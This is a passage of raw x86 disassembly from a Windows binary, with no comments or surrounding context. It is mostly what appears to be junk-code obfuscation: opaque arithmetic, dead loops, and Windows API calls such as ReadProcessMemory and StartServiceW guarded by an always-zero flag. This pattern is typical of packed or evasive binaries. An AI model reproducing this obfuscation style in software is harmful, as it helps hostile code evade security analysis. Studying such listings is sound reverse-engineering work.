call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x1002fbae
dec dword [ebp - 0x5f0]
jns 0x1002fb86
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp + eax*4 - 0x5a8]
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x5a8], ecx
test ecx, ecx
je 0x1002fc07
mov eax, dword [ebp - 0x194]
cmp dword [ebp + eax*4 - 0x5a8], 0
je 0x1002fc07
mov eax, ebx
jmp 0x1002fc09
xor eax, eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x194]
push 0
pop eax
cmp dword [ebp - 0x194], ebx
jle 0x1002fb60
push 0xfffffffffffffffe
mov dword [ebp - 0x34], 0x5db34e6d
pop esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], 0x1f7e2799
mov dword [ebp - 0x1c], eax
jmp 0x1002fc61
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002fc59
push 0x201b
push eax
push eax
push eax
push 0x1f70
push eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002fc67
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jne 0x1002fc3a
mov dword [ebp - 0x50], 0xeafb5d1c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x40], 0xfffffffd
cmp dword [ebp - 0x1c], eax
mov byte [ebp - 0x21], al
je 0x1002fca5
cmp byte [ebp - 0x21], 0
je 0x1002fcbf
push 0xfde
push eax
push 0x1690
push 0x1c90
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x1002fcbd
cmp byte [ebp - 0x21], 0
je 0x1002fcbf
push eax
push 0xd42
push eax
push 0x1620
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jne 0x1002fd77
mov dword [ebp - 0x18], 0xfe012d2c
xor ecx, ecx
mov dword [ebp - 0x20], 0x9cf13e13
mov dword [ebp - 0x3c], 0x16488a97
mov dword [ebp - 0x2c], 0x98422518
mov dword [ebp - 0x4c], 0x3c3fa3c
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
cmp eax, ebx
setl cl
cmp dword [ebp - 0x20], ecx
jl 0x1002fd16
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x44], eax
je 0x1002fd18
mov ecx, ebx
mov eax, dword [ebp - 0x18]
add eax, ecx
cmp eax, dword [ebp - 0x44]
jg 0x1002fd29
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002fd2b
mov eax, ebx
cmp eax, dword [ebp - 0x2c]
je 0x1002fd33
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
dec edx
neg edx
push 1
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setl bl
xor ecx, ecx
cmp ebx, eax
pop ebx
setne cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
je 0x1002fccc
mov dword [ebp - 0x38], 0x4b5f5c18
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x2c], 0x5fec6b03
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
mov dword [ebp - 0x1c], eax
je 0x1002fdf7
cmp dword [ebp - 0x1c], 3
jge 0x1002fdb7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdb8], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002fd9e
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jg 0x1002ff6c
jmp 0x1002fdc8
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002fdd8
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0xdb8], 0
jne 0x1002ff6c
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x1002fdc6
jmp 0x1002ff6c
cmp dword [ebp - 0x1c], 3
jge 0x1002fe16
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x27c], 0xfffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002fdfd
xor eax, eax
mov dword [ebp - 0x48], 0xffffffe5
cmp dword [ebp - 0x48], 0xe
je 0x1002ff6c
push 5
pop ebx
jmp 0x1002fe2e
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x20], 0x60e77906
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], eax
jmp 0x1002fe55
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6cc], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002fe44
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x6cc]
imul eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x38]
imul esi, eax, 0x74ad
mov eax, dword [ebp - 0x278]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
sub esi, eax
mov eax, dword [ebp - 0x27c]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp edx, eax
mov edx, dword [ebp - 0x20]
setne cl
sub ecx, esi
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x19a6fdd8
setne al
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x27c]
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x20], eax
jmp 0x1002ff4f
mov dword [ebp - 0x1c], 0x7977f45a
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002fee2
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x278]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 0x98b
sub ecx, eax
cmp dword [ebp - 0x6cc], ecx
jne 0x1002ff42
mov eax, dword [ebp - 0x6cc]
push 0
mov dword [ebp - 0x2c], 0x72ea
inc dword [ebp - 0x20]
pop eax
cmp dword [ebp - 0x20], 0x14
jne 0x1002feca
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xe
jne 0x1002fe2c
xor ebx, ebx
push 0xfffffffffffffffe
inc ebx
pop esi
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0x666a756a
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002ff96
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7f0], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002ff81
xor eax, eax
mov dword [ebp - 0x7e8], eax
jmp 0x1002ffb2
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 0xc2039807
inc dword [ebp - 0x7e8]
cmp dword [ebp - 0x7e8], 0xd
jle 0x1002ff9e
push 9
mov dword [ebp - 0x20], eax
pop edx
jmp 0x1002ffe9
mov dword [ebp - 0x1c], 0x1151c3c3
mov dword [ebp - 0x1c], eax
jmp 0x1002ffe0
mov dword [ebp - 0x2c], 0xc8f0d071
mov dword [ebp - 0x2c], 0x649f6d4a
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
jg 0x1002ffcf
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
je 0x1002ffc3
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1003001d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8e8], 0x55bb2c21
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10030004
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003003a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x60], 0x36432a27
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030025
xor eax, eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], ebx
jg 0x10030069
mov dword [ebp - 0x2c], edx
xor ecx, ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x8e8]
test eax, eax
sete cl
imul eax, ecx, 0x8bd4
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], ebx
jle 0x10030042
xor eax, eax
mov dword [ebp - 0x48], eax
jmp 0x10030230
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffea
jle 0x1003022d
mov dword [ebp - 0x20], 0xdbdf7cd9
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x100300a7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 9
xor eax, eax
pop edx
mov dword [ebp - 0x20], 0xffffffeb
jmp 0x10030213
mov dword [ebp - 0x14], 0xf885ea6e
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x1003020d
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x60], 0
je 0x10030153
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100300eb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xee8], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100300de
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0xee4]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
mov eax, dword [ebp + eax*4 - 0x60]
add eax, ecx
xor ecx, ecx
cmp eax, 0x62c5d177
setl cl
sub ecx, 0x4c266d8f
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setl al
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x60], 0
jne 0x1003013d
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x38], eax
je 0x1003013f
mov ecx, ebx
mov eax, dword [ebp - 0x38]
add eax, ecx
xor ecx, ecx
cmp eax, 0x8db3
setl cl
mov dword [ebp - 0x1c], ecx
jmp 0x100301c0
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x38]
inc eax
je 0x10030162
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], edi
mov esi, dword [ebp - 0x8e4]
mov eax, dword [ebp - 0x14]
neg esi
sbb esi, esi
xor edx, edx
neg esi
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x20]
sub esi, eax
mov eax, dword [ebp - 0x14]
cmp esi, ecx
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x60]
cmp edx, eax
setge cl
mov dword [ebp - 0x44], ecx
mov esi, dword [ebp - 0x44]
imul esi, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, eax
setne dl
add edx, esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], 0xf
jmp 0x100301f6
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x100301f0
push eax
push 0x17cb
push 0x1e68
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], 0xfffffff2
jge 0x100301c9
inc dword [ebp - 0x14]
push 9
pop edx
cmp dword [ebp - 0x14], eax
jle 0x100300cd
dec dword [ebp - 0x20]
push 9
pop edx
cmp dword [ebp - 0x20], 0xffffffe4
je 0x100300b3
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffea
push 9
pop edx
jg 0x10030085
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x18
jne 0x10030071
mov dword [ebp - 0x38], ebx
mov eax, 0x4bda99da
mov dword [ebp - 0x1c], edx
mov edx, 0xffff
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], eax
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x18], 0xcc72b752
mov dword [ebp - 0x4c], 0x659baaa4
mov dword [ebp - 0x2c], 0xde8aff65
mov dword [ebp - 0x38], 0xffffffee
cmp dword [ebp - 0x38], 0xfffffffa
jle 0x1003037d
mov dword [ebp - 0x18], 0xd1cb6a7f
xor eax, eax
mov dword [ebp - 0x44], 0xa6ebbfad
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x100302b2
push eax
push 0xf70
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov edx, 0xffff
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
sub eax, 0xc4e2bf5
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
je 0x100302d5
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100302d7
mov eax, ebx
jmp 0x100302d7
xor eax, eax
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x38]
setne cl
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
add edx, dword [ebp - 0x1c]
cmp edx, 0x703a
setle al
xor ecx, ecx
test eax, eax
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
add eax, ecx
cmp eax, 0x1054d814
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
je 0x1003032c
mov eax, dword [ebp - 0x4fc]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4fc]
imul eax, dword [ebp - 0x38]
push 1
cmp eax, 0xfffffffb
mov eax, dword [ebp - 0x44]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
sete dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
mov edx, 0xffff
setle bl
sub ebx, 2
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
pop ebx
setge cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffffa
jg 0x10030288
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x500]
add eax, dword [ebp - 0x38]
imul eax, eax, 0x9a1d
test eax, eax
jne 0x100303a3
cmp dword [ebp - 0x4c], 0xa486
jle 0x100303a3
mov edx, eax
jmp 0x100303a5
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x508]
setl cl
xor edx, edx
cmp ecx, 0x7d8169b4
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, edi
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], eax
jmp 0x100303ef
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x94], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100303e2
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, 0x12f3
push 5
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ebx, ebx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp edx, eax
setle bl
sub ebx, dword [ebp - 0x30]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
imul ebx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, ebx
setg cl
xor edx, edx
mov dword [ebp - 0x50], ecx
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
sub ecx, dword [ebp - 0x94]
cmp eax, ecx
mov eax, dword [ebp - 0x94]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setne cl
add ecx, 0xffff560c
inc dword [ebp - 0x34]
cmp eax, ecx
jl 0x10030493
xor eax, eax
cmp dword [ebp - 0x94], eax
je 0x10030495
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x10030498
xor eax, eax
xor ebx, ebx
inc ebx
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov esi, 0xf263070b
imul eax, eax, 0xc28a
test eax, eax
je 0x1003098f
xor eax, eax
mov dword [ebp - 0x14], eax
push 2
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x100304d5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100304c1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100304f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdd0], 0x7d1afd06
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100304de
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x1003057b
or edi, 0xffffffff
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x2c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x2c0]
mov dword [ebp - 0xdcc], esi
xor eax, eax
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x1003056b
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10030566
push eax
push ebx
push 0x977
push eax
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x1003054d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10030502
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jg 0x1003102b
mov dword [ebp - 0x20], 0x3ae35568
mov dword [ebp - 0x20], 0xffffffea
cmp dword [ebp - 0x20], 0xffffffef
jne 0x100306df
or edi, 0xffffffff
mov dword [ebp - 0x14], 0xea983111
mov dword [ebp - 0x2c], 0x43eb
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100305d9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4e8], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100305c0
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003060d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100305fd
push 0xfffffffffffffffe
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb20], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100305e9
xor eax, eax
cmp dword [ebp - 0xb1c], eax
jne 0x10030613
cmp dword [ebp - 0x2c], eax
jne 0x10030613
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x100305de
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x100306cc
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x40], 0x89d73ae4
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003063e
push 0x37b
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
cmp dword [ebp - 0x4e4], 8
jle 0x10030675
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x4e8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x4e8]
xor eax, eax
cmp dword [ebp - 0x4e0], eax
je 0x10030677
mov eax, ebx
jmp 0x10030677
xor eax, eax
mov dword [ebp - 0x2c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x14]
push 0
mov eax, dword [ebp + eax*4 - 0x4e8]
cmp eax, 0xfffffff7
mov eax, dword [ebp - 0x4e0]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ebx, ebx
cmp edx, eax
setne bl
xor ecx, ecx
sub ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4e0]
cmp ebx, eax
pop eax
setg cl
mov dword [ebp - 0x4e0], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
push 1
pop ebx
jle 0x10030620
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffef
je 0x100305a2
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], 0xfffffffb
jmp 0x10030716
mov dword [ebp - 0x1c], 0x506d4441
mov dword [ebp - 0x1c], 0xfffffff0
jmp 0x1003070d
mov dword [ebp - 0x2c], 0xf2b2
cmp dword [ebp - 0x2c], eax
jne 0x10030713
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jge 0x100306fe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffd
jge 0x100306ee
mov dword [ebp - 0x44], 0x906c902d
mov dword [ebp - 0x4c], 0xa7084bc
mov dword [ebp - 0x54], 6
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x9bdd7770
mov dword [ebp - 0x2c], 0xfff9
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x40], 0x7b831966
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003076c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7f8], 0xd68f9855
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10030754
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10030784
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x3c]
setge cl
add eax, 0x17b722ba
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
mov dword [ebp - 0x7f8], edx
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setne cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x7f4]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x3c]
jle 0x100307ea
mov eax, dword [ebp - 0x54]
xor eax, eax
mov dword [ebp - 0x40], 0xffff5eeb
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1003083e
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], eax
jmp 0x10030823
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003081a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0xfffffffffffffffe
pop ecx
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ecx
jl 0x10030806
mov eax, 0xe57bf5cd
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov dword [ebp - 0x38], 0x68ec0ae9
mov dword [ebp - 0x2c], 0xc299e885
mov dword [ebp - 0x2c], 0xfafe44fa
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003087a
push 0x1016
push eax
push 0x141
push eax
push 0x851
push 0x1089
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
mov dword [ebp - 0x38], 0xb
cmp dword [ebp - 0x38], 6
jle 0x1003096a
jmp 0x1003088f
xor eax, eax
mov dword [ebp - 0x1c], 0x6e5c7a00
mov dword [ebp - 0x48], 0xdeec5416
mov dword [ebp - 0x20], 0x2afa
mov dword [ebp - 0x48], eax
jmp 0x100308ba
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x560], 0
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ebx
jl 0x100308a9
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10030900
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov edx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
sub eax, 0xd76c
sub eax, ecx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x100308fa
cmp dword [ebp - 0x38], eax
je 0x100308fe
mov eax, ebx
jmp 0x10030900
xor eax, eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10030958
mov dword [ebp - 0x4c], 0x8bc698dc
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x560], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10030955
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], 0xfafb
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x20]
imul eax, eax, 0x4442
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x10030953
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10030928
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1003090a
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 6
jg 0x1003088d
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x94], ecx
jne 0x10031029
inc dword [ebp - 0x34]
push ecx
pop eax
cmp dword [ebp - 0x34], ecx
jle 0x10030587
jmp 0x10031029
mov dword [ebp - 0x4c], 0x7a4860c0
xor eax, eax
mov dword [ebp - 0x1c], 0x5020f89b
mov dword [ebp - 0x2c], 0x7c7008b1
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x58], 0xfffffffc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100309d6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x480], 0xdc85f70a
